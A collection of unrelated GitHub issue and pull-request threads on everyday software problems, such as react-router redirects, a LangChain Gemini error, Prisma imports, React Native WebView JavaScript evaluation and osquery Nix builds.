Chip issue was fixed under this commit: https://github.com/hotwax/fulfillment/commit/6ed5a2751cba104bfe83e98287248a4f052a84d9


Server-side redirect in asyncConnect with react-router?

How to do a redirection on server-side with react-router?
I have seen the issue #70 but I can not manage to do a server side redirection, I tried by dispatching a replace action of react-router-redux but nothing happens.
import { asyncConnect } from 'redux-connect';
import { replace } from 'react-router-redux';

@asyncConnect( [ {
  promise: ( { store: { dispatch, getState }, router, ...props } ) => {
    const state = getState();

    if ( state.settings.isNew ) {
      return dispatch( replace( '/' ) );
    }
  }
} ] )

Thanks for your help.
edit: Yet in the routing.locationBeforeTransitions key of my store the location has changed well.

do
if (__SERVER__) {
   // special logic for redirect
} else {
  // client logic
}

Problem with what you are suggesting is that you can't change URL of the browser from the server except for sending response with code 301/302 and new URL, so with normal redirects from router you can get redirect props and react to that, and, in this case you'd have to handle resulting state location vs current requested route and handle it somehow

Finally I did this: https://github.com/bertho-zero/react-redux-universal-hot-example/commit/fd92d694574c161dc537282e0f3abbb54cb63446

Glad you did! Do you want to add this as an example to this repo? I think others would appreciate it

Oh yes of course !

I opted for the following solution for the server:
import verror from 'verror';

const redirect = to => {
  throw new VError({ name: 'RedirectError', info: { to } });
};

loadOnServer({ ...renderProps, store, helpers: { redirect } }).then(() => {
  /* ... */
  res.send(...);
}).catch(mountError => {
  if (mountError.name === 'RedirectError') {
    return res.redirect(VError.info(mountError).to);
  }
  /* ... */
});


[ MB-15049 ] Fixed incorrect import of weight ticket weight function

Jira ticket for this change
Summary
In the previous PR for MB-15049, I merged a change into main that imported a function that was renamed in another PR.
This fixes that issue.

Warnings

:warning:
This PR does not include changes to unit tests, even though it affects app code.

Messages

:book:
:link: MB-15049

  Generated by :no_entry_sign: dangerJS against 30cfe0a33ef4203e6951fd0d33216cbd6f9baf18


Ahead-of-time compilation

Ahead-of-time compilation: https://angular.io/docs/ts/latest/cookbook/aot-compiler.html

Completed


Deezer: back button causes Web App to freeze

Web App Integration Script 2.7
Genuine Flatpak Build  4.8.2 Revision 2-g9519b22
Ubuntu 16.04 64bit
Steps to reproduce: Launch Deezer WebApp, play a couple of songs, click "<" Arrow button .
Currently playing song will continue playing till the end, GUI will become instantly become unresponsive, at the end of the song silence occurs.

Hello @ou-li. Thanks for reporting this issue.

Could you check whether Nuvola 4.8.23 fixes the issue?

It does indeed. Thank you for the quick fix!


Moved download-missing-blocks script to archive from rosetta

Moved download-missing-blocks.sh to archive debian and reference it in daemon so rosetta docker will still have an access to it.

!ci-build-me

!ci-build-me

!ci-build-me

!ci-build-me

!ci-build-me

!approved-for-mainnet

!ci-build-me

Thanks a lot @emberian for noticing that

!approved-for-mainnet


Blanket impl for types that deref to WordSplitter

I ran into a situation where it would be useful to use &hyphenation::Standard as a splitter. This PR adds a blanket WordSplitter impl for anything that derefs to a WordSplitter, which should cover cases like this.

Wow I'm dumb... I accidentally tested without the hyphenation feature. I think this is actually impossible without specialization, so I'm gonna close it.

Hey @Benjamin-L,
Okay, no worries! Perhaps we can add some more pointers to the hyphenation feature so it's easier to find?

That wasn't my problem. I knew about the hyphenation feature, and had been using it. I just forgot to include it when I built this change to test.

I see, glad you figured it out in any case :-)


Invalid request for structured output

I am trying to extract information using this code:
from langchain_google_genai import ChatGoogleGenerativeAI
from langchain_experimental.graph_transformers import LLMGraphTransformer
from langchain_core.documents import Document
from langchain_core.pydantic_v1 import BaseModel, Field

from typing import Optional

llm = ChatGoogleGenerativeAI(model='gemini-1.5-pro')
from langchain_core.prompts import ChatPromptTemplate

system_prompt = (
    "# Knowledge Graph Instructions for GPT-4\n"
    "## 1. Overview\n"
    "You are a top-tier algorithm designed for extracting information in structured "
    "formats to build a knowledge graph.\n"
    "Try to capture as much information from the text as possible without "
    "sacrificing accuracy. Do not add any information that is not explicitly "
    "mentioned in the text.\n"
    "- **Nodes** represent entities and concepts.\n"
    "- The aim is to achieve simplicity and clarity in the knowledge graph, making it\n"
    "accessible for a vast audience.\n"
    "## 2. Labeling Nodes\n"
    "- **Consistency**: Ensure you use available types for node labels.\n"
    "Ensure you use basic or elementary types for node labels.\n"
    "- For example, when you identify an entity representing a person, "
    "always label it as **'person'**. Avoid using more specific terms "
    "like 'mathematician' or 'scientist'."
    "- **Node IDs**: Never utilize integers as node IDs. Node IDs should be "
    "names or human-readable identifiers found in the text.\n"
    "- **Relationships** represent connections between entities or concepts.\n"
    "Ensure consistency and generality in relationship types when constructing "
    "knowledge graphs. Instead of using specific and momentary types "
    "such as 'BECAME_PROFESSOR', use more general and timeless relationship types "
    "like 'PROFESSOR'. Make sure to use general and timeless relationship types!\n"
    "## 3. Coreference Resolution\n"
    "- **Maintain Entity Consistency**: When extracting entities, it's vital to "
    "ensure consistency.\n"
    'If an entity, such as "John Doe", is mentioned multiple times in the text '
    'but is referred to by different names or pronouns (e.g., "Joe", "he"),'
    "always use the most complete identifier for that entity throughout the "
    'knowledge graph. In this example, use "John Doe" as the entity ID.\n'
    "Remember, the knowledge graph should be coherent and easily understandable, "
    "so maintaining consistency in entity references is crucial.\n"
    "## 4. Strict Compliance\n"
    "Adhere to the rules strictly. Non-compliance will result in termination."
)

default_prompt = ChatPromptTemplate.from_messages(
    [
        (
            "system",
            system_prompt,
        ),
        (
            "human",
            (
                "Tip: Make sure to answer in the correct format and do "
                "not include any explanations. "
                "Use the given format to extract information from the "
                "following input: {input}"
            ),
        ),
    ]
)

class Node(BaseModel):
    """Represents a node in a graph with associated properties.
    """
    id: str = Field(description="A unique identifier for the node.")
    type: str = Field(description="The type or label of the node.")

class Relationship(BaseModel):
    """Represents a directed relationship between two nodes in a graph.
    """

    source: Node = Field(description="The source node of the relationship.")
    target: Node = Field(description="The target node of the relationship.")
    type: str = Field(description="The type of the relationship.")

class Graph(BaseModel):
    """Represents a graph document consisting of nodes and relationships.
    """

    nodes: Optional[List[Node]] = Field(description="List of nodes")
    relationships: Optional[List[Relationship]] = Field(description="List of relationships")

structured_llm = llm.with_structured_output(Graph)
chain = default_prompt | structured_llm

chain.invoke({"input": "What is going on?"})

But I get this error:
_InactiveRpcError                         Traceback (most recent call last)
[/usr/local/lib/python3.10/dist-packages/google/api_core/grpc_helpers.py](https://localhost:8080/#) in error_remapped_callable(*args, **kwargs)
     71         try:
---> 72             return callable_(*args, **kwargs)
     73         except grpc.RpcError as exc:

26 frames
_InactiveRpcError: <_InactiveRpcError of RPC that terminated with:
	status = StatusCode.INVALID_ARGUMENT
	details = "Request contains an invalid argument."
	debug_error_string = "UNKNOWN:Error received from peer ipv4:<IP_ADDRESS>:443 {created_time:"2024-07-01T10:36:39.099639512+00:00", grpc_status:3, grpc_message:"Request contains an invalid argument."}"
>

The above exception was the direct cause of the following exception:

InvalidArgument                           Traceback (most recent call last)
InvalidArgument: 400 Request contains an invalid argument.

The above exception was the direct cause of the following exception:

ChatGoogleGenerativeAIError               Traceback (most recent call last)
[/usr/local/lib/python3.10/dist-packages/langchain_google_genai/chat_models.py](https://localhost:8080/#) in _chat_with_retry(**kwargs)
    188
    189         except google.api_core.exceptions.InvalidArgument as e:
--> 190             raise ChatGoogleGenerativeAIError(
    191                 f"Invalid argument provided to Gemini: {e}"
    192             ) from e

ChatGoogleGenerativeAIError: Invalid argument provided to Gemini: 400 Request contains an invalid argument.

Did you find a solution? I am also trying to run LLMGraphTransformer with a language model different than OPENAI and so far it didn't work :/

Which model you tried


reference to itself is generated into imports

If I have a field which references the current table, there is an import generated which causes havoc.
For example like here:
model Comment {
  id             String    @id @default(cuid())
 replyTo           Story?     @relation("comments_reply_to_id", fields: [replyToId], references: [id], onDelete: NoAction, onUpdate: NoAction)
  replyToId         String?    @map("reply_to_id")
}

this cause a TS error and runtime type error

fixing it.

Fixed

it is still broken in 1.4.20 when you use exportedNameSuffix option.

Yeah I forgot to do that too while developing 😅, This generator makes you import whatever you want without overwriting it and other more safe areas, It's one of the most important features in this generator that there's an introspection happening to the generated TS code to suistain your changes and correct you if you mess up the types.


Allow AQL variable names starting with an underscore, as stated in the docs

https://github.com/arangodb/arangodb/pull/13745

This description is not fully correct, as 'proven' by the tests here: https://github.com/arangodb/arangodb/pull/13745/commits/dec74f09c3f43a2e8bfaad7d701f564c38681eaa#diff-758ea50fd18e8df9dcc32b98ceae715c5b8df6d1ac192f8d9b7ea6b644e240b4R157


Develop new utility class for computing the Activity Status

New
I propose a solution on how to compute the resulting Activity status, based on each Tasks' Status that are executed in the corresponding workflow.

A workflow can have multiple Tasks that are in different Statuses, and that run in parallel on different 'branches'. So, in order to find out what Status to set for the whole workflow, we need to get the status for every dependent Task and check if it is Waiting, Complete, Failure, etc and, depending on the Statuses of all these Tasks, to compute if the overall Status of the workflow is Waiting, Complete, etc.
For example, if we want to send a WaitForEvent, the dependent Tasks need to have either All a Status of Waiting or at least one Status Waiting and all the others to be in Complete or Failure and not InProgress or NotStarted, etc.

For example, if we want to send a WaitForEvent, the dependent Tasks need to have either All a Status of Waiting or at least one Status Waiting and all the others to be in Complete or Failure and not InProgress or NotStarted, etc.

@AndreiOla, you still might have NotStarted tasks when the workflow is in a Waiting state. NotStarted just means that the task hasn't started yet and it can't start since there are other tasks in front of it that are in a Waiting state.
Everything else in your statement is correct.

Will need @marcusdroy to review as codeowner.

Hi @AndreiOla few questions / comments

Can you Edit the summary of the PR and add context around how its done now vs what is proposed? because as far as I know, workflows already have a status.
Can we simplify this and not use the bit assign. Just use a case on the actual status. Just do an array contains x status. This is applying some arbitary assignment and then doing conversion which imo is just confusing and unnecessary.

Hi @AndreiOla few questions / comments

Can you Edit the summary of the PR and add context around how its done now vs what is proposed? because as far as I know, workflows already have a status.
Can we simplify this and not use the bit assign?. Just use a case on the actual status. Just do an array contains x status. A utility class is still good, we have been trying to migrate anything shared and useful to a utility class, so thats great, but imo this is applying some arbitary assignment and then doing conversion which is confusing and unnecessary.

Additionally, can we keep the scope of these PRs to what is absolutely necessary to support eventing? There is no need to re-invent the wheel to do what we already do with existing code.

Hi @corcoja @AndreiOla i think I get what you are trying to do.
Background
Previously we left Waiting out of the status list. Part of it was

not wanting to do the overhead of being able to differentiate Waiting vs In Progress, but also
that Tekton Pipelines don't have a Waiting status for when we shift the engine completely to Tekton.

Concern 1
Concern around complexity/readability of this utility class for future maintainability with mappings between TaskStatus and bits.
Concern 2
What happens if a Task Fails, but then on the path we say continue on fail (i.e. fail is acceptable or good)? then the Task Statuses would include TaskStatus.failure yet it wouldn't be a failure of the Workflow... so it would just have to be deemed In Progress or Waiting
As a TaskStatus alone is not equal to Workflow Status. You have to account for the DAG and link state + there is also a Task that sets Workflow Status to override the result.
You almost don't care about any of the other statuses because if the Workflow is marked as canceled or failed or completed, then thats what you just use as the ending status.

Thus this Utility is really only for a running workflows status. and you accept the Workflow Status for any of the other statuses

Alternative 1
Based on concern 2 above, could we not just do a streamed array for distinct status and then, if it contains particular status of in progress or none in_progress && waiting then thats what the status is... any rely on the overall Workflow Status once finished to handle the Failure vs Success vs Cancelled vs Invalid.
This way we don't have to do any arbitrary bit number mapping and instead can focus on readable / consumable status types. Which also makes it easier to extend if we add another status.
Pseudocode
    //Can be tested with a task status list such as
   // List<TaskStatus> runningStatuses = Arrays.asList(TaskStatus.notstarted, TaskStatus.notstarted, TaskStatus.notstarted, TaskStatus.completed, TaskStatus.waiting);

    public TaskStatus computeStatus(List<Task> taskList) {
      //Build up current task statuses
      List<TaskStatus> statuses = new LinkedList<>();
      for (Task task : taskList) {
        statuses.add(taskActivityService.findById(task.getTaskId())).getFlowTaskStatus())
      }

      if (statuses.contains(TaskStatus.inProgress)) {
        LOGGER.debug("Workflow is in Progress");
        return TaskStatus.inProgress;
      } else if (!statuses.contains(TaskStatus.inProgress) && statuses.contains(TaskStatus.waiting)) {
        LOGGER.debug("Workflow is Waiting");
        return TaskStatus.waiting;
     }

Alternative 2
A distinct array of TaskStatuses and use retainAll as a check compared against known states. This is a bit more complex and I feel we are going to run into issues that are stated in Concern 2 above.
Pseudocode
//Waiting, Not Started, Complete, Failure
  private static final List<TaskStatus> waitingTaskStatuses = Arrays.asList(TaskStatus.waiting, TaskStatus.notstarted, TaskStatus.completed, TaskStatus.failure, TaskStatus.skipped);

  //In Progress, Waiting, Not Started, Complete, Failure, Skipped
  private static final List<TaskStatus> inProgressStatuses = Arrays.asList(TaskStatus.waiting, TaskStatus.notstarted, TaskStatus.completed, TaskStatus.failure, TaskStatus.inProgress, TaskStatus.skipped);

    public TaskStatus computeStatus(List<Task> taskList) {
      //Build up current task statuses
      List<TaskStatus> statuses = new LinkedList<>();
      for (Task task : taskList) {
        statuses.add(taskActivityService.findById(task.getTaskId())).getFlowTaskStatus())
      }

    List<TaskStatus> distinctStatuses = runningStatuses.stream().distinct().collect(Collectors.toList());
    LOGGER.debug("Is it waiting: " + distinctStatuses.retainAll(waitingTaskStatuses));
    LOGGER.debug("Is it waiting: " + distinctStatuses.retainAll(inProgressStatuses));
  }

Further and in summary to the above comment
My recommendation is to

Leave the ultimate ending status as whatever is set by the Workflow Execution. A final Workflow Status event can be sent at the end of the Workflow Execution

Only use a helper utility whilst the workflow is not yet completed / cancelled / failed / invalid. And as such you are really only checking to see if it is In Progress or Waiting.

@amhudson, the application clearly doesn't behave like this though.

My understanding is that a workflow can have the Waiting status, which means that the execution is currently blocked by a Waiting task, and that is what @AndreiOla is implementing – the process to identify if a workflow is indeed Waiting or not.

@amhudson, the application clearly doesn't behave like this though.

My understanding is that a workflow can have the Waiting status, which means that the execution is currently blocked by a Waiting task, and that is what @AndreiOla is implementing – the process to identify if a workflow is indeed Waiting or not.

There should not be a Waiting tab there for the reasons Tyson previously mentioned.

Previously we left Waiting out of the status list. Part of it was

the overhead of being able to differentiate Waiting vs In Progress, but also
that Tekton Pipelines don't have a Waiting status for when we shift the engine completely to Tekton.

WFE task is not a task backed by a Tekton task, so I don't see why Tekton is a concern here?

WFE task is not a task backed by a Tekton task, so I don't see why Tekton is a concern here?

The statuses here are workflow statuses, not task statuses. There should not be a Waiting status for a workflow . What this PR is trying to do is determine when to set a Waiting workflow status.

There should not be a Waiting status for a workflow

Is there an open issue for this or PR? I can't find anything related to this either in the docs or in the roadmap project. If this was a verbal agreement between the open source community, it must be properly documented or at least open an issue to remove support for Waiting status for workflows.
Now, on the topic for Waiting statuses, here's my understanding:

A workflow can't be in Waiting. Why?
A WFE task though, which is not a Tekton task, can be in Waiting.

I don't see any technical impediments why we wouldn't be able to implement the Waiting status for a Workflow, since, from a business point of view, a workflow can be in Waiting status.

So to summarise where we are at, so that progress can be made.

There is an objection to the need for the bit comparison method and a request to simplify the implementation.

There is discussion on the use of 'Waiting' status overall vs Task

I think there is agreement that It does logically make sense to have a Waiting status on a Workflow, however this then highlights an issue with (3) below.

Question on the TektonCD alignment and changes

Historical Reference: The alignment to TektonCD started with Tasks.The evolution of migrating to full Workflow (Pipeline) migration are part of the next architecture (which is currently in 4.0). At the time the first steps were taken with 3.0, the features in Tekton were not yet in full availability and were still in 'experimental' status, namely CustomTasks (for reference, that's the terminology we used in 1.x and 2.x for BYO tasks), onError, and a few other items. The overall eventual aim is to remove the need for any DAG processing to occur in the Workflow service. Instead, the ultimate aim is to have Tekton process it and Flow gain the benefit of a much larger ecosystem and bring in new features like Matrix Loops, Editing Workflows in YAML, etc.
What does this mean: Eventually, we won't understand the 'Waiting' status for a Workflow. It will just be 'In Progress'. So its not something we can count on thats why work was stopped on trying to make Waiting work in all scenarios and for future efforts.

I believe the above captures where we are at with everything, now we need to discuss next steps on how to proceed with the above known.

@tlawrie Now it makes more sense, if there was an intention to migrating the code. My Task is to find out when a workflow is in Waiting State and send a WaitForEvent event. Not sure if we should still set he actual Workflow Status to Waiting, but anyway this can be done without any utility class and just use a method. I will leave this branch as is, so we keep the conversation and make a new branch with just the changes needed for the Task I have.

@tlawrie Now it makes more sense, if there was an intention to migrating the code. My Task is to find out when a workflow is in Waiting State and send a WaitForEvent event. Not sure if we should still set he actual Workflow Status to Waiting, but anyway this can be done without any utility class and just use a method. I will leave this branch as is, so we keep the conversation and make a new branch with just the changes needed for the Task I have.

@tlawrie, I have added a sample CE payload for task updates. See here: https://github.com/boomerang-io/roadmap/issues/326#issuecomment-1187375669


Devtools release with Github action

Create GitHub action to deploy parrot to the Chrome store on release.

Maybe this could work.

Maybe this could work.

That package hasn't had any activity for over a year. Let's see if we can find something more current.  Otherwise, we can open an issue there asking if the project is still being maintained.

chrome-webstore-upload may be worth looking at


added the responsive footer

we don't require this big footer

it's single page resume , no home page , no contacts etc


Add evaluateJavaScript to iOS WebView

Picking this up from #1191. Adds evaluateJavaScript to iOS WebView API, enabling React -> page communication.
Verified test cases:

"123" evaluates to 123.
"'123'" evaluates to the string "123".
"'foo\"bar'" evaluates to "foo"bar".
"'foo\\'bar'" evaluates to "foo'bar".
"'foo\\\\bar'" evaluates to "foo\bar".
"window.location" returns an object with href, host, and other expected properties.
"window" results in an error (cyclic JSON).

Thank you for your pull request and welcome to our community. We require contributors to sign our Contributor License Agreement, and we don't seem to have you on file. In order for us to review and merge your code, please sign up at https://code.facebook.com/cla - and if you have received this in error or have any questions, please drop us a line at<EMAIL_ADDRESS>Thanks!

By analyzing the blame information on this pull request, we identified @caabernathy and @nicklockwood to be potential reviewers.

Thank you for signing our Contributor License Agreement. We can now accept your code for this (and any) Facebook open source project. Thanks!

CC'ing @spicyj since he reviewed #1191.

I'm not familiar with this code day-to-day so I'm not the best person to review this but it looks mostly reasonable if the escaping is fixed.

@spicyj Thanks for the quick feedback! Updated to include the given escapes.

Er, sorry -- misinterpreted your comment. Updating.

Updated to use the RCTPromise API.

LGTM. cc @nicklockwood

cc @javache

Would be good to have some Unit Test script as part of this PR.
However, after looking through the repo a bit (I'm not too familiar with it), I wasn't able to find iOS unit tests, only some Android Unit Tests.

It's been a while since the last commit was reviewed and the labels show this pull request needs review. Based on the blame information for the files in this pull request we identified @caabernathy as a potential reviewer. Could you take a look please or cc someone with more context?

@javache as the last one to comment on this review, is there anything else you'd like to see before this is approved?

I think the only thing this needs is some testing. There are iOS unit tests, they are just under the UI explorer, so I would put something there.

I think the biggest problem with this implementation is its internal use of eval(). Usually it wouldn't cause issues, but the problem is that on pages with a Content-Security-Policy, injecting javascript this way will not work. The native stringByEvaluatingJavaScriptFromString function effectively bypasses CSP rules, but the use of eval can once again break things..
I definitely recognize the importance of using eval in this way to get a response back, but I think it must be implemented in a way that doesn't break the injection of JS on certain pages.  Perhaps we can check if eval() is allowed when the WebView is initialized, or just add another method that is more or less a dumb wrapper for stringByEvaluatingJavaScriptFromString that specifically doesn't return a response.
I wrote some code that implements a function called injectJavaScript that does it the correct way. I am considering making a pull request but I'd rather not duplicate the work done here.

@thebnich Do you have thoughts on the status or are you still working on this?

No, I am not actively working on this. I needed this functionality for a prototype I was creating last year, but haven't touched it since. I'm not familiar with creating/running tests since that was the only time I've used React Native, and I don't have time to figure that out now, so I'll go ahead and close this PR.


QuadTree optimised

used lazy iterators
count calculation without caches
removed the need to reindex entire collection
object extend inflation reuses previous quadrants
items are reindexed automatically when their position changes

I've taken a look through - I'm still not sure if the Freezable approach is the way we want to go. Is it possible to get the quad tree improvements (the INotifyPropertyChangedWithValue is fine) without Freezable, Undoable stuff? If its not, then I'm happy to try and merge some of the improvements into the current quadtree.
Obviously any interfaces that you need would need to be kept as well. I believe its just the IBounded interface.
Left a few other comments.

Since items in quad tree are reindexed when their bounds change, this could have been very large performance hit when dragging large amount of items. Some manual event triggering would have to be implemented instead, and in that case I'd prefer more automatic way of freezing the update events.

I opened and scrolled some layouts with this PR and current master, but noticed no difference in performance.
Some profiler reports also only highlight some negligible differences (at most 1ms).
I also prefer to separate "performance work" from "undoable work".
@AgmasGold Do you still have some change requests?

This is also very old, but from quick look at the code I think there should be a performance increase when moving large amount of selected buildings.
There isn't any undoable work in this PR. There is some freezing of INotifyPropertyChanged events, placed objects aren't reindexed while they are being dragged, but I don't think I could remove that while still reducing the need to reindex all the time.

Thank you for your contribution 👍


Add an R package akin to the gptools-stan python package.

The gptools-stan python package includes the Stan library code and offers a simple wrapper for cmdstanpy.CmdStanModel to set up the right include paths. Publishing a similar R package would appeal to a broader set of users. But that requires knowing some R.

Now in onnela-lab/gptools#4.


Rethink roadmap after v0.2

Objective
Work on discover new features after revision with client.

Description
In the last presentation to the client (showing the achieved work on v0.2), we decided to change focus on roadmap, rethink the objectives for the app and work on a new one where the objectives are more aligned to client's needs.

Tasks

[x] Review client's feedback and enlist its needs
[x] Make a analysis on discovered needs
[x] Build a roadmap proposal
[x] Present proposal to client
[x] Update roadmap updates on project's details page
[x] Add this update on other places (even new ones for better visibility)

Ticket relationships

Relationship
Involved tickets

Is child of
none

In parent of
none

Is related to
none

Is blocked by
none

It blocks
none

Roadmap has been updated with new features, previously accepted by client.
There are possibilities to update it in the future case of new objectives or client requests


Tier 1: (FRONTEND) Create Single Product Component

Create frontend component for single product in features/product/Product.js and include a route in client/app/AppRoutes.js when users log-in.


Update program-list.json

dropbox info updated
Summary
N/A
Quality Assurance Checklist
N/A

Review Items
Y/N

Site has a publicly known bug bounty or vulnerability disclosure program
Y

Disclosure policy is publicly available
Y

Public URL
Y

Submission follows the Diodb schema

Your Twitter handle (https://twitter.com/xalgord):

It's not the issue with my PR, there is already a merged breach having formatting issue, if I found the conflict will try to solve it.

As confirmed, there is no issues found in the json file, maybe the issue is with the pipeline rules.

Fixed the formatting.


Disable globally / in buffer / in mode

Hi!
Thank you for the great plugin, works flawlessly. I have one issue though, sometimes I want to disable the plugin and I don't know if there's an easy way to do it. For now, I've been commenting out the section that loads your plugin and restart emacs. I would like to see a functionality that does the following:

Disable copilot globally (until resumed or restarted emacs)
Disable copilot in this buffer
Disable copilot in certain modes, such as org-mode.

Is there anything that allows me to do these already? Otherwise, can you either add them or point me towards the direction to implement them and possibly make a PR?
Thanks in advance!

Now in the develop branch, copilot.el acts as a minor mode (copilot-mode), so you can toggle it per buffer or hook it into other modes.
I haven't merged it because I used evil-insert-state-p in it, which aims at evil users only. I need to figure out how to config properly for vanilla Emacs users.

I need to figure out how to config properly for vanilla Emacs users.

Hi, for my Emacs config without the evil.
I use copilot manually now since I feel it is noise when automatic appears.
(defun copilot---complete ()
  "Copilot complete."
  (interactive)
  (copilot-clear-overlay)
  (copilot-complete))

(add-hook 'post-command-hook #'copilot-clear-overlay)

Then, "H-SPC" for copilot---complete, manually start the copilot.  "C-" to accept.
The noise stands if we keep it open in some major mode that the copilot does not support.  We can have a list of functions that checks the current state if we can keep it working or not.  Like rime-disable-predicates in
https://github.com/DogLooksGood/emacs-rime/blob/e5727c5218a4345adb9b960cf6f4202246aea70c/rime.el#L337-L342
https://github.com/DogLooksGood/emacs-rime/blob/e5727c5218a4345adb9b960cf6f4202246aea70c/rime.el#L105-L110

Thanks to @nasyxx 's suggestions!
I provided optional and customizable copilot-mode in the latest version.


Update tesseract.js

Fixed Errors: "Error, unknown command line argument '-psm'" and "'ERR_INVALID_CALLBACK'"

Please approve these changes and merge it. This solves the issue on Linux systems.


-T5- Add job posting expiration strategy.

thanks

Why did you close this issue?

You had asked me to close it at the last meeting. I had not been able to complete it.

I will reopen and unassign it.

Okay.


request.php: submit an array with a html form

If the HTML-Form POST value is an array if got an:
PHP Notice: Array to string conversion in /srv/www/htdocs/vendor/src/Http/Request.php on line 258
It´s within the following part of request.php:
// can be $_POST and $_FILES
public static function buildPostBody($fields, $files, $boundary = null)
{
...
foreach($fields as $name => $value){
    $body .= sprintf($part_field, $boundary, $name, $value);
    $body .= "{$value}\r\n";
}

One example could be:
<form action="" method="POST">
    <input type="text" name="first_name">
    <input type="text" name="last_name">
    <input type="submit">
</form>

// Result of $_POST (PHP):
// array(
//     'first_name' => ''
//     'last_name' => ''
// )

In my opinion it could be solved with following part
        foreach ($fields as $name => $value)
        {
            if ( is_array($value) )
            {
                foreach ( $value as $key => $val )
                {
                    $body .= sprintf($part_field, $boundary, $key, $val);
                    $body .= "{$val}\r\n";
                }
            }
            else
            {
                $body .= sprintf($part_field, $boundary, $name, $value);
                $body .= "{$value}\r\n";
            }
        }


make error  incompatible type for argument 2 of 'BoatSignature'

To Reproduce
pull the latest code, make error  incompatible type for argument 2 of 'BoatSignature'
see next error log:
boatethereum.c:286:43: error: incompatible type for argument 2 of 'BoatSignature'
286 |           tx_ptr->wallet_ptr->account_info.prikeyId,
|           ~~~~~~~~~~~~~~~~~~~~~~~~^
|                                           |
|                                           BoatWalletPriKeyId {aka struct TBoatWalletPriKeyId}

Hi
yes，because we had adjust the structure releated wallet, this problem will be resolved soon. @SimonHe2021

OK, I will watch the commits. @woniua

is solved this bug?

yes it is fixed


osquery fails to build

Issue description
I cannot install osquery on my system.
logfile
Steps to reproduce

add osquery package to environment.systemPackages on nixos
nixos-rebuild build

Technical details
Please run nix-shell -p nix-info --run "nix-info -m" and paste the
results.
nix-shell -p nix-info --run "nix-info -m"
 - system: `"x86_64-linux"`
 - host os: `Linux 4.14.32, NixOS, 18.03.131807.489a14add9a (Impala)`
 - multi-user?: `yes`
 - sandbox: `no`
 - version: `nix-env (Nix) 2.0`
 - channels(root): `"nixos-18.03.131807.489a14add9a, nixpkgs-18.03"`
 - nixpkgs: `/nix/var/nix/profiles/per-user/root/channels/nixos/nixpkgs`

ok, I came quite fast: https://github.com/Ma27/nixpkgs/commit/718d46988aaea51307665248533f2861f760918a
Currently failing at 88% as ld doesn't fine daemonclient and lvm-internal. Will investigate how to solve this %)

@vitiral @cstrahan this is how far I got: https://github.com/Ma27/nixpkgs/tree/fix-osquery
Unfortunately the resulting binary fails with the following error (I don't know to fix):
ERROR: something wrong with flag 'flagfile' in file '/build/source/src/gflags.cc'.  One possibility: file '/build/source/src/gflags.cc' is being linked both statically and dynamically into this executable.


If you write a test that should be failing it's not failing

I created a test that should drive me to implement assert_string_starts_with function, but I can't because the test is not failing...
function test_successful_assert_string_starts_with() {
  assert_empty "$(assert_string_starts_with "ho" "house")"
}

Related to: https://github.com/TypedDevs/bashunit/issues/181

function test_asdfasdf() {
  assert_not_empty "$(kasjdhfkjasdhf "hou" "pause")"
}


spotify family

Id would be usefull to setup many spotify accounts for different members in the family.

Fundamentally this isn't possible without restarting the Mopidy service every time you want to switch profiles. If you had anything more than a few playlists in your account it would be quite slow to switch users on a raspberry pi, during which time the web interface would also be down. I don't think there is a currently a reasonable way to implement this so I'm afraid it's not going to happen. If someone wants to come up with something we can revisit it then.

Mopidy-Spotify is using libspotify for interfacing with Spotify, and according to libspotify's docs it uses some global state, making it impossible to have multiple libspotify sessions in the same process. Each libspotify session is tightly coupled to a Spotify username and password. Thus, as @kingosticks points out, just about the only feasible solution is to restart the Mopidy-Spotify backend to switch users.


Inspector component breaks Threlte App

After regular install of the three-inspect module and following the documentation for adding to Threlte Ecosystem ended up with this error bellow on the screenshot.
Current module dependencies:
"@threlte/core": "latest",
"@threlte/extras": "latest",
"svelte": "^4.2.15",
"three": "^0.163.0",
"three-inspect": "^0.4.5",
"vite": "^5.2.9"

I am going to paste the terminal error log. This is a bit more retrieving as the browser log:
1:35:47 PM [vite] Error when evaluating SSR module /src/routes/+page.svelte: failed to import "/src/lib/components/App.svelte"
|- TypeError: vite_ssr_import_2.default.install is not a function
at /node_modules/.pnpm/three-inspect@0.4.5_@types+three@0.164.0_three@0.163.0/node_modules/three-inspect/dist/components/Internal/CameraControls.svelte:17:16
at async instantiateModule
TypeError: vite_ssr_import_2.default.install is not a function
at /node_modules/.pnpm/three-inspect@0.4.5_@types+three@0.164.0_three@0.163.0/node_modules/three-inspect/dist/components/Internal/CameraControls.svelte:17:16
Actually looks to me very TS specific error. I am not using TS in my project. ..just wanted to mention.

Same issue for me.

Hello! It's a bit hard to pinpoint the issue without a full project to inspect. It's possible that the issue may be elsewhere and not specifically with three-inspect. Here is an example of a very barebones Threlte + Vite setup - not involving Typescript - where the inspector is functioning as intended:
https://stackblitz.com/edit/vitejs-vite-sfwjke?file=src%2FScene.svelte&terminal=dev

I understand! Here's the issue reproduced: https://stackblitz.com/edit/svelte-kit-z4jvcg?file=src%2Froutes%2F%2Bpage.svelte
09:03:48 [vite-plugin-svelte] /home/projects/svelte-kit-z4jvcg/node_modules/svelte-tweakpane-ui/dist/control/CubicBezier.svelte:91:1 No scopable elements found in template. If you're using global styles in the style tag, you should move it into an external stylesheet file and import it in JS. See https://github.com/sveltejs/vite-plugin-svelte/blob/main/docs/faq.md#where-should-i-put-my-global-styles. 09:03:50 [vite] Error when evaluating SSR module /node_modules/three-inspect/dist/components/Tools/FreeCamera.svelte: failed to import "/node_modules/three-inspect/dist/components/Internal/CameraControls.svelte" |- Error: line must be greater than 0 (lines start at line 1)     at originalPositionFor$1 (file:///home/projects/svelte-kit-z4jvcg/node_modules/vite/dist/node/chunks/dep-BKbDVx1T.js:10470:15)

Thanks for including an example! That's interesting. I'm not sure why, but I was able to fix the issue in your stackblitz by creating a new <Scene> component placed within <Canvas> and moving <Inspector> there. Since I don't have much time to investigate further I'll update the docs accordingly to make it clear that setup is required.

Thanks for providing the workaround, however it only seems to work when I make the changes while having 'npm run dev' already going. If I restart the dev process it throws the same errors as above again.

This should be fixed in v0.7.2. Let me know if it's still showing up for you.


improve test consistency

This PR splits the consistency tests into 3 separate test functions that are gated by target_arch and target_feature.
It should address this issue

I've completely rewritten the tests (along with the trait rewrite) to attempt to make them more readable and more consistent. The macros in the new tests split the tests across the different simd architectures as well as the different value types. See #58


[BUG] Recipes throw error messages in logs despite mod not present.

Important Information
Minecraft Version:  1.18.1
Forge Version: 39.0.44
DramaticDoors Version: DramaticDoors-1.18.1-1.4.2.jar
Describe the bug
[20:30:49] [Render thread/ERROR]: Parsing error loading recipe dramaticdoors:tall_azalea_door
In logs despite mod cavens_and_chasms not being installed.
